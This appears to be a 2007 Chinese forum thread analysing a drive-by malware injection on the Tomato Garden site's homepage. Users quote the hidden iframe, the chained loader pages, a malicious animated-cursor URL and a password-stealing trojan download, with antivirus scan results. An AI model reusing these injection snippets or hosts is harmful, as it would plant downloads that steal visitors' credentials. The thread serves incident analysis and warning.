番茄花园 主页被挂马

九尾野狐

wxw.tomatolei.com/



<iframe src=hxxp://yn52.net/admin/akk.htm width=20 height=0 frameborder=0></iframe>





EQ 和我的浏览器拦截如下

[ 本帖最后由 没注册 于 2007-6-18 10:59 编辑 ]

wangjay1980

http://yn52.net/admin/akk.htm
没反应

mofunzone

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\akk.htm'
C:\TDDOWNLOAD\
  akk.htm
      [DETECTION] Contains signature of the exploits EXP/JS.XMLHTTP.1
      [WARNING]   The file was ignored!

九尾野狐

原帖由 wangjay1980 于 2007-6-18 11:02 发表
http://yn52.net/admin/akk.htm
没反应

九尾野狐

mofunzone 的头像

感觉好猥琐……

wangjay1980

看来是被我的遨游过滤了

啊弥陀佛

style=\"CURSOR: url(\'http://yn52.net/admin/xh.c\')\"

挂马:htp://yn52.net/admin12/help.exe

微点砍掉

[ 本帖最后由 啊弥陀佛 于 2007-6-18 11:16 编辑 ]

mofunzone

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\help.exe'
C:\TDDOWNLOAD\
  help.exe
      [DETECTION] Is the Trojan horse TR/PSW.Steal.28375
      [INFO]      The file was deleted!

solcroft

这个咚咚没加密

www.tomatolei.com

1. <iframe src=http://yn52.net/admin/akk.htm width=20 height=0 frameborder=0></iframe>

复制代码

akk.htm

1. document.write("<iframe width=""0"" height=""0"" src=""06.htm""></iframe>")
   
2. <script language = JScript src=link.js></script>

复制代码

link.js

1. document.writeln("<DIV style="CURSOR: url(\'http://yn52.net/admin/xh.c\')">");

复制代码

06.htm

1. <script>var ailian,zhan;ailian="http://yn52.net/admin12/help.exe";

复制代码

http://yn52.net/admin/xh.c
http://yn52.net/admin12/help.exe
ANI里面挂的是一样的东西

[ 本帖最后由 solcroft 于 2007-6-18 12:56 编辑 ]

solcroft

被7楼抢先了